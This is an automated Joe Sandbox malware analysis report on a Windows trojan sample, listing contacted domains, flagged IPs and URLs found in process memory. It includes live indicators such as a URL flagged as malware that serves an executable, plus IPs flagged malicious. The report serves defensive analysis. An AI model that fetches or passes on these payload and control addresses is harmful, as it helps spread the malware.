http://www.ora-ito.com/	0%	Avira URL Cloud	safe
https://pcgrate.com/wp-content/uploads/woocommerce_uploads/logo-sdw6o6.gif	0%	Avira URL Cloud	safe
https://www.naoi-a.com/	0%	Avira URL Cloud	safe
http://www.pcgrate.com/wp-content/plugins/elementor/assets/lib/share-link/share-link.min.js?ver=3.3.	0%	Avira URL Cloud	safe
http://www.findbc.com/AP	0%	Avira URL Cloud	safe
http://pcgrate.com/	0%	Avira URL Cloud	safe
http://www.pcgrate.com/wp-content/plugins/woocommerce-pdf-catalog/public/css/woocommerce-pdf-catalog	0%	Avira URL Cloud	safe
http://www.myropcb.com/wp-content/themes/framePCB/images/shopping_car.png	0%	Avira URL Cloud	safe
http://www.myropcb.com#webpage	0%	Avira URL Cloud	safe
https://www.pcgrate.com	0%	Avira URL Cloud	safe
http://www.mobilnic.net/upload/img/201905280859514872.png	0%	Avira URL Cloud	safe
http://www.alteor.cl/5	0%	Avira URL Cloud	safe
http://www.myropcb.com/.b	0%	Avira URL Cloud	safe
http://www.petsfan.com/V	0%	Avira URL Cloud	safe
http://www.pcgrate.com/wp-content/plugins/woocommerce/assets/js/jquery-ui-touch-punch/jquery-ui-touc	0%	Avira URL Cloud	safe
http://www.myropcb.com/why-use-myro/satisfaction-guarantee/	0%	Avira URL Cloud	safe
https://www.pcgrate.com/wp-json/wp/v2/pages/1009	0%	Avira URL Cloud	safe
http://www.myropcb.com/testimonial/	0%	Avira URL Cloud	safe
http://www.jenco.co.uk/	0%	Avira URL Cloud	safe
http://www.pcgrate.com/wp-content/plugins/elementor/assets/lib/eicons/css/elementor-icons.min.css?ve	0%	Avira URL Cloud	safe
http://www.wnsavoy.com/~c	0%	Avira URL Cloud	safe
http://www.pcgrate.com/wp-content/uploads/elementor/css/global.css?ver=1664959878	0%	Avira URL Cloud	safe
https://www.pcgrate.com/checkout/	0%	Avira URL Cloud	safe
http://www.myropcb.com/wp-json/	0%	Avira URL Cloud	safe
http://www.mobilnic.net/upload/img/201905280901053168.png	0%	Avira URL Cloud	safe
https://www.pcgrate.com/wp-content/uploads/about-200x200.jpg	0%	Avira URL Cloud	safe
http://hummer.hu/	0%	Avira URL Cloud	safe
http://www.pcgrate.com/wp-content/plugins/cookie-law-info/public/css/cookie-law-info-public.css?ver=	0%	Avira URL Cloud	safe
https://www.pcgrate.com/wp-content/uploads/1920px-Raytheon.svg_-1-e1626285787717.png	0%	Avira URL Cloud	safe
https://www.pcgrate.com/#richSnippet	0%	Avira URL Cloud	safe
http://www.alteor.cl/g	0%	Avira URL Cloud	safe
http://www.dayvo.com/-Pd	0%	Avira URL Cloud	safe
http://www.myropcb.com/services-capabilities/myro-intelligent-cloud-forehead-thermometer/	0%	Avira URL Cloud	safe
http://www.ora-ito.com/?Pv	0%	Avira URL Cloud	safe
https://www.sjbs.org/	0%	Avira URL Cloud	safe
http://www.usadig.com/	0%	Avira URL Cloud	safe
http://www.mobilnic.net/upload/img/201905291214076922.jpg)	0%	Avira URL Cloud	safe
http://www.pcgrate.com/wp-content/plugins/elementor/assets/js/preloaded-modules.min.js?ver=3.3.1	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
www.tvtools.fi	104.21.88.198	true	false	unknown
www.fcwcvt.org	188.114.96.3	true	false	unknown
www.stnic.co.uk	77.68.50.105	true	false	unknown
www.jacomfg.com	96.127.180.42	true	false	unknown
waldi.pl	46.242.238.60	true	false	unknown
maktraxx.com	72.44.93.236	true	false	unknown
evcpa.com	192.124.249.10	true	false	unknown
www.photo4b.com	195.78.66.50	true	false	unknown
www.cel-cpa.com	104.196.26.65	true	false	unknown
www.jenco.co.uk	104.21.23.9	true	false	unknown
www.credo.edu.pl	62.122.190.121	true	false	unknown
www.vexcom.com	104.21.55.224	true	false	unknown
hummer.hu	185.80.51.179	true	false	unknown
synetik.net	193.166.255.171	true	false	unknown
www.mobilnic.net	154.203.14.100	true	false	unknown
hibu34.inregion.waas.oci.oraclecloud.net	147.154.3.56	true	false	unknown
www.c9dd.com	188.166.152.188	true	false	unknown
aevga.com	108.167.164.216	true	false	unknown
www.ora-ito.com	213.186.33.40	true	false	unknown
www.holleman.us	51.79.51.72	true	false	unknown
ora.ecnet.jp	60.43.154.138	true	false	high
www.edimart.hu	81.2.194.241	true	false	unknown
beg.com.ve	190.114.9.88	true	true	unknown
www.wifi4all.nl	188.114.96.3	true	false	unknown
www.wnsavoy.com	96.91.204.114	true	false	unknown
www.dayvo.com	188.114.97.3	true	false	unknown
www.olras.com	80.93.82.33	true	false	unknown
www.jchysk.com	208.97.178.138	true	false	unknown
www.stajum.com	103.3.1.161	true	false	unknown
ghs.googlehosted.com	142.250.203.115	true	false	unknown
quadlock.com	70.39.251.249	true	false	unknown
abart.pl	89.161.163.246	true	false	unknown
www.myropcb.com	74.208.215.199	true	false	unknown
td-ccm-168-233.wixdns.net	34.117.168.233	true	false	unknown
crcsi.org	165.227.252.190	true	false	unknown
perficut.at	2.180.10.7	true	true	unknown
www.usadig.com	198.100.146.220	true	false	unknown
www.abdg.com	192.252.154.18	true	false	unknown
www.snugpak.com	104.21.73.182	true	false	high
xaicom.es	188.165.133.163	true	false	unknown
shops.myshopify.com	23.227.38.74	true	false	unknown
h167471.srv11.test-hf.su	91.227.16.11	true	true	unknown
www.gpthink.com	39.99.233.155	true	false	unknown
www.speelhal.net	217.19.237.54	true	false	unknown
pwd.org	208.109.214.162	true	false	unknown
hdr-nlb4-0bbd2e21834cb637.elb.us-east-2.amazonaws.com	3.18.7.81	true	false	high
www.vazir.se	206.191.152.37	true	false	unknown
www.naoi-a.com	202.254.236.40	true	false	unknown
www.yoruksut.com	93.187.206.66	true	false	unknown
www.t-tre.com	135.181.73.98	true	false	unknown
hdr-nlb9-41371129e8304c29.elb.us-east-1.amazonaws.com	52.71.57.184	true	false	high
www.pr-park.com	118.27.125.181	true	false	unknown
studyrussian.com	80.74.154.6	true	false	unknown
www.otena.com	3.64.163.50	true	false	unknown
www.fe-bauer.de	3.65.101.129	true	false	unknown
item-pr.com	213.186.33.17	true	false	unknown
www.valdal.com	172.67.73.176	true	false	unknown
www.fink.com	69.163.218.51	true	false	unknown
dgmna.com	192.124.249.20	true	false	unknown
fnw.us	137.118.26.67	true	false	unknown
www.rs-ag.com	188.114.97.3	true	false	unknown
www.mqs.com.br.cdn.gocache.net	170.82.174.30	true	false	unknown
www.nelipak.nl	82.201.61.230	true	false	unknown
www.pcgrate.com	104.21.66.46	true	false	unknown
www.findbc.com	13.248.216.40	true	false	unknown
d2kt7vovxa5e81.cloudfront.net	108.156.2.39	true	false	high
baijaku.com	59.106.19.204	true	false	unknown
www.elpro.si	104.26.14.53	true	false	unknown
nunomira.com	192.241.158.94	true	false	unknown
sjbs.org	162.214.120.26	true	false	unknown
www.dgmna.com	unknown	unknown	true	unknown
www.owsports.ca	unknown	unknown	true	unknown
www.pdqhomes.com	unknown	unknown	true	unknown
www.alteor.cl	unknown	unknown	true	unknown
www.iamdirt.com	unknown	unknown	true	unknown
www.transsib.com	unknown	unknown	true	unknown
www.netcr.com	unknown	unknown	true	unknown
www.petsfan.com	unknown	unknown	true	unknown
www.ora.ecnet.jp	unknown	unknown	false	high
www.maktraxx.com	unknown	unknown	true	unknown
www.sjbs.org	unknown	unknown	true	unknown
www.fnw.us	unknown	unknown	true	unknown
www.synetik.net	unknown	unknown	true	unknown
www.aevga.com	unknown	unknown	true	unknown
www.koz1.net	unknown	unknown	true	unknown
www.medisa.info	unknown	unknown	true	unknown
www.nqks.com	unknown	unknown	true	unknown
www.pwd.org	unknown	unknown	true	unknown
www.xaicom.es	unknown	unknown	true	unknown
www.lrsuk.com	unknown	unknown	true	unknown
www.baijaku.com	unknown	unknown	true	unknown
www.wkhk.net	unknown	unknown	true	unknown
www.quadlock.com	unknown	unknown	true	unknown
www.nunomira.com	unknown	unknown	true	unknown
www.crcsi.org	unknown	unknown	true	unknown
www.udesign.biz	unknown	unknown	true	unknown
www.evcpa.com	unknown	unknown	true	unknown
www.depalo.com	unknown	unknown	true	unknown
www.jroy.net	unknown	unknown	true	unknown
www.item-pr.com	unknown	unknown	true	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://rutobacco.ru/tmp/	true	Avira URL Cloud: safe	unknown
http://23.106.124.133/totti.exe	true	URL Reputation: malware	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://www.pcgrate.com/wp-content/plugins/woocommerce/packages/woocommerce-blocks/build/style.css?ve	C60F.exe, 00000014.00000002.540262127.0000000003630000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.myropcb.com/services-capabilities/fpc-flexible-printed-circuits/	C60F.exe, 00000014.00000002.540262127.0000000003630000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.pcgrate.com/#webpage	C60F.exe, 00000014.00000002.540262127.0000000003630000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.holleman.us/	C60F.exe, 00000014.00000002.536733426.0000000000834000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.pcgrate.com/wp-content/uploads/the7-css/compatibility/wc-dt-custom.css?ver=899328ee298e	C60F.exe, 00000014.00000002.540262127.0000000003630000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.stajum.com/	C60F.exe, 00000014.00000002.536733426.0000000000834000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.myropcb.com/why-use-myro/awards-certificates/	C60F.exe, 00000014.00000002.540262127.0000000003630000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.myropcb.com/wp-content/themes/thematic/library/scripts/supersubs.js	C60F.exe, 00000014.00000002.540262127.0000000003630000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.pcgrate.com/wp-content/plugins/pro-elements/assets/js/webpack-pro.runtime.min.js?ver=3.3.	C60F.exe, 00000014.00000002.540262127.0000000003630000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.c9dd.com/v1.0	C60F.exe, 00000014.00000002.536733426.0000000000834000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.myropcb.com/#website	C60F.exe, 00000014.00000002.540262127.0000000003630000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.wnsavoy.com/Zc	C60F.exe, 00000014.00000002.542289186.0000000006A70000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.elpro.si/	C60F.exe, 00000014.00000002.536733426.0000000000834000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.owsports.ca/	C60F.exe, 00000014.00000002.536733426.0000000000834000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.pcgrate.com/wp-content/plugins/woocommerce-currency-switcher/js/price-slider_33.js?ver=1.	C60F.exe, 00000014.00000002.540262127.0000000003630000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.pwd.org/	C60F.exe, 00000014.00000002.536733426.00000000007E6000.00000004.00000020.00020000.00000000.sdmp, C60F.exe, 00000014.00000002.540262127.0000000003630000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.autoitscript.com/autoit3/J	explorer.exe, 00000001.00000000.278791597.000000000F276000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000001.00000003.289259467.000000000F276000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000001.00000000.267542421.0000000001425000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.pcgrate.com/comments/feed/	C60F.exe, 00000014.00000002.540262127.0000000003630000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.pcgrate.com/wp-content/plugins/woo-rfq-for-woocommerce/gpls_assets/js/gpls_woo_rfq.js?ver	C60F.exe, 00000014.00000002.540262127.0000000003630000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.stajum.com/_	C60F.exe, 00000014.00000002.536733426.0000000000834000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.mobilnic.net/alone/alone.php?id=25	C60F.exe, 00000014.00000002.540645327.00000000047F0000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.quadlock.com/	C60F.exe, 00000014.00000002.536733426.00000000007EC000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.c9dd.com/	C60F.exe, 00000014.00000002.536733426.0000000000834000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.pcgrate.com/?s=	C60F.exe, 00000014.00000002.540262127.0000000003630000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.aevga.com/	C60F.exe, 00000014.00000002.540262127.0000000003630000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.lagencefrancaise.com	C60F.exe, 00000014.00000002.540262127.0000000003630000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.naoi-a.com/	C60F.exe, 00000014.00000002.536733426.0000000000834000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.myropcb.com/services-capabilities/pcb-restoration/	C60F.exe, 00000014.00000002.540262127.0000000003630000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.pcgrate.com/wp-content/plugins/pro-elements/assets/js/frontend.min.js?ver=3.3.1	C60F.exe, 00000014.00000002.540262127.0000000003630000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://chart.apis.google.com/chart?chs=100x100&cht=qr&chld=L	C60F.exe, 00000014.00000002.540262127.0000000003630000.00000004.00001000.00020000.00000000.sdmp	false		high
http://gmpg.org/xfn/11	C60F.exe, 00000014.00000002.540262127.0000000003630000.00000004.00001000.00020000.00000000.sdmp	false		high
http://www.myropcb.com/services-capabilities/stencil/	C60F.exe, 00000014.00000002.540262127.0000000003630000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.myropcb.com/why-use-myro/	C60F.exe, 00000014.00000002.540262127.0000000003630000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.pcgrate.com/wp-content/plugins/woocommerce/assets/js/frontend/add-to-cart.min.js?ver=5.5.	C60F.exe, 00000014.00000002.540262127.0000000003630000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.pcgrate.com/wp-content/plugins/woocommerce-currency-switcher/js/front.js?ver=1.3.7	C60F.exe, 00000014.00000002.540262127.0000000003630000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.pcgrate.com/wp-content/themes/dt-the7/js/main.min.js?ver=9.12.0	C60F.exe, 00000014.00000002.540262127.0000000003630000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://gholographic.com/	C60F.exe, 00000014.00000002.540262127.0000000003630000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.domon.com/	C60F.exe, 00000014.00000002.542289186.0000000006A70000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.ora-ito.com/	C60F.exe, 00000014.00000002.540262127.0000000003630000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://tickets.suresupport.com/faq/article-1596/en	C60F.exe, 00000014.00000002.540262127.0000000003630000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.pcgrate.com/wp-content/plugins/elementor/assets/lib/eicons/fonts/eicons.woff?5.10.0)	C60F.exe, 00000014.00000002.540262127.0000000003630000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.pcgrate.com/wp-content/uploads/elementor/css/post-1009.css?ver=1670679061	C60F.exe, 00000014.00000002.540262127.0000000003630000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.lrsuk.com/	C60F.exe, 00000014.00000002.536733426.00000000007EC000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.pcgrate.com/wp-content/themes/dt-the7/lib/jquery-mousewheel/jquery-mousewheel.min.js?ver=	C60F.exe, 00000014.00000002.540262127.0000000003630000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.pcgrate.com/wp-content/plugins/cookie-law-info/public/css/cookie-law-info-gdpr.css?ver=2.	C60F.exe, 00000014.00000002.540262127.0000000003630000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.pcgrate.com/wp-content/uploads/the7-css/css-vars.css?ver=899328ee298e	C60F.exe, 00000014.00000002.540262127.0000000003630000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://myropcb.com/login/	C60F.exe, 00000014.00000002.540262127.0000000003630000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.winhui.cn/template/default/img/fixedimg4.png	C60F.exe, 00000014.00000002.540645327.00000000047F0000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.mobilnic.net/alone/alone.php?id=8	C60F.exe, 00000014.00000002.540645327.00000000047F0000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.myropcb.com/services-capabilities/pcba-services/	C60F.exe, 00000014.00000002.540262127.0000000003630000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.pcgrate.com/wp-content/uploads/bae_systems-1.png	C60F.exe, 00000014.00000002.540262127.0000000003630000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.item-pr.com/	C60F.exe, 00000014.00000002.536733426.00000000007EC000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.pcgrate.com/wp-content/plugins/woo-discount-rules/v2/Assets/Js/site_main.js?ver=2.3.7	C60F.exe, 00000014.00000002.540262127.0000000003630000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.myropcb.com/why-use-myro/terms-of-service/	C60F.exe, 00000014.00000002.540262127.0000000003630000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.pcgrate.com	C60F.exe, 00000014.00000002.540262127.0000000003630000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.tvtools.fi/9K	C60F.exe, 00000014.00000002.536733426.0000000000834000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.ora-ito.com/	C60F.exe, 00000014.00000002.536733426.0000000000834000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://lolipop.jp/	C60F.exe, 00000014.00000002.540262127.0000000003630000.00000004.00001000.00020000.00000000.sdmp	false		high
http://www.olras.com/	C60F.exe, 00000014.00000002.536733426.00000000007EC000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.pcgrate.com/wp-content/plugins/elementor/assets/lib/share-link/share-link.min.js?ver=3.3.	C60F.exe, 00000014.00000002.540262127.0000000003630000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.cloudflare.com?utm_source=challenge&utm_campaign=m	C60F.exe, 00000014.00000002.540262127.0000000003630000.00000004.00001000.00020000.00000000.sdmp	false		high
https://www.naoi-a.com/	C60F.exe, 00000014.00000002.540262127.0000000003630000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://pcgrate.com/wp-content/uploads/woocommerce_uploads/logo-sdw6o6.gif	C60F.exe, 00000014.00000002.540262127.0000000003630000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://pcgrate.com/	C60F.exe, 00000014.00000002.540262127.0000000003630000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.findbc.com/AP	C60F.exe, 00000014.00000002.536733426.0000000000834000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.pcgrate.com/wp-content/plugins/woocommerce-pdf-catalog/public/css/woocommerce-pdf-catalog	C60F.exe, 00000014.00000002.540262127.0000000003630000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.myropcb.com#webpage	C60F.exe, 00000014.00000002.540262127.0000000003630000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.pcgrate.com	C60F.exe, 00000014.00000002.540262127.0000000003630000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.myropcb.com/wp-content/themes/framePCB/images/shopping_car.png	C60F.exe, 00000014.00000002.540262127.0000000003630000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.mobilnic.net/upload/img/201905280859514872.png	C60F.exe, 00000014.00000002.540645327.00000000047F0000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.myropcb.com/.b	C60F.exe, 00000014.00000002.542289186.0000000006A70000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.alteor.cl/5	C60F.exe, 00000014.00000002.536733426.00000000007EC000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.pcgrate.com/wp-content/plugins/woocommerce/assets/js/jquery-ui-touch-punch/jquery-ui-touc	C60F.exe, 00000014.00000002.540262127.0000000003630000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.petsfan.com/V	C60F.exe, 00000014.00000002.536733426.0000000000834000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.pcgrate.com/wp-json/wp/v2/pages/1009	C60F.exe, 00000014.00000002.540262127.0000000003630000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.myropcb.com/why-use-myro/satisfaction-guarantee/	C60F.exe, 00000014.00000002.540262127.0000000003630000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.myropcb.com/testimonial/	C60F.exe, 00000014.00000002.540262127.0000000003630000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.jenco.co.uk/	C60F.exe, 00000014.00000002.536733426.00000000007EC000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.pcgrate.com/wp-content/plugins/elementor/assets/lib/eicons/css/elementor-icons.min.css?ve	C60F.exe, 00000014.00000002.540262127.0000000003630000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.mobilnic.net/upload/img/201905280901053168.png	C60F.exe, 00000014.00000002.540645327.00000000047F0000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.pcgrate.com/wp-content/uploads/elementor/css/global.css?ver=1664959878	C60F.exe, 00000014.00000002.540262127.0000000003630000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.myropcb.com/wp-json/	C60F.exe, 00000014.00000002.536733426.00000000007E6000.00000004.00000020.00020000.00000000.sdmp, C60F.exe, 00000014.00000002.540262127.0000000003630000.00000004.00001000.00020000.00000000.sdmp, C60F.exe, 00000014.00000002.536733426.0000000000834000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.wnsavoy.com/~c	C60F.exe, 00000014.00000002.542289186.0000000006A70000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.pcgrate.com/checkout/	C60F.exe, 00000014.00000002.540262127.0000000003630000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.pcgrate.com/wp-content/uploads/about-200x200.jpg	C60F.exe, 00000014.00000002.540262127.0000000003630000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.pcgrate.com/wp-content/plugins/cookie-law-info/public/css/cookie-law-info-public.css?ver=	C60F.exe, 00000014.00000002.540262127.0000000003630000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://hummer.hu/	C60F.exe, 00000014.00000002.540262127.0000000003630000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.myropcb.com/services-capabilities/myro-intelligent-cloud-forehead-thermometer/	C60F.exe, 00000014.00000002.540262127.0000000003630000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.usadig.com/	C60F.exe, 00000014.00000002.542289186.0000000006A70000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.ora-ito.com/?Pv	C60F.exe, 00000014.00000002.536733426.0000000000834000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.pcgrate.com/#richSnippet	C60F.exe, 00000014.00000002.540262127.0000000003630000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.pcgrate.com/wp-content/uploads/1920px-Raytheon.svg_-1-e1626285787717.png	C60F.exe, 00000014.00000002.540262127.0000000003630000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.pcgrate.com/wp-content/plugins/elementor/assets/js/preloaded-modules.min.js?ver=3.3.1	C60F.exe, 00000014.00000002.540262127.0000000003630000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.dayvo.com/-Pd	C60F.exe, 00000014.00000002.536733426.0000000000834000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.mobilnic.net/upload/img/201905291214076922.jpg)	C60F.exe, 00000014.00000002.540645327.00000000047F0000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.sjbs.org/	C60F.exe, 00000014.00000002.540262127.0000000003630000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.alteor.cl/g	C60F.exe, 00000014.00000002.536733426.00000000007EC000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.youtube.com/channel/UCvpY2zO1GRvxBdgkg7BUm-A	C60F.exe, 00000014.00000002.540262127.0000000003630000.00000004.00001000.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
95.158.162.200	unknown	Bulgaria	44247	VIDEOSATBG	true
2.180.10.7	perficut.at	Iran (ISLAMIC Republic Of)	58224	TCIIR	true
23.106.124.133	unknown	Singapore	59253	LEASEWEB-APAC-SIN-11LeasewebAsiaPacificpteltdSG	true
190.114.9.88	beg.com.ve	Panama	8100	ASN-QUADRANET-GLOBALUS	true
195.158.3.162	unknown	Uzbekistan	8193	BRM-ASUZ	true
211.171.233.129	unknown	Korea Republic of	3786	LGDACOMLGDACOMCorporationKR	true
211.171.233.126	unknown	Korea Republic of	3786	LGDACOMLGDACOMCorporationKR	true
203.91.116.53	unknown	Mongolia	24559	GMOBILE-MNG-MobileCorporationMN	true
185.95.186.58	unknown	Iraq	34515	NEXTNET-ASIQ	true
211.119.84.111	unknown	Korea Republic of	3786	LGDACOMLGDACOMCorporationKR	true
91.227.16.11	h167471.srv11.test-hf.su	Russian Federation	207027	EXIMIUS-ASRU	true

Private

IP
192.168.2.1

General Information

Joe Sandbox Version:	36.0.0 Rainbow Opal
Analysis ID:	809764
Start date and time:	2023-02-16 13:55:28 +01:00
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 12m 10s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 104, IE 11, Adobe Reader DC 19, Java 8 Update 211
Number of analysed new started processes analysed:	19
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	2
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample file name:	file.exe
Detection:	MAL
Classification:	mal100.troj.expl.evad.winEXE@9/9@114/12
EGA Information:	Successful, ratio: 100%
HDC Information:	Successful, ratio: 47.9% (good quality ratio 40.2%) Quality average: 64.1% Quality standard deviation: 37.1%
HCA Information:	Successful, ratio: 100% Number of executed functions: 42 Number of non-executed functions: 26
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, consent.exe, SgrmBroker.exe, conhost.exe, svchost.exe
Excluded domains from analysis (whitelisted): fs.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtDeviceIoControlFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.
VT rate limit hit for: file.exe

Simulations

Behavior and APIs

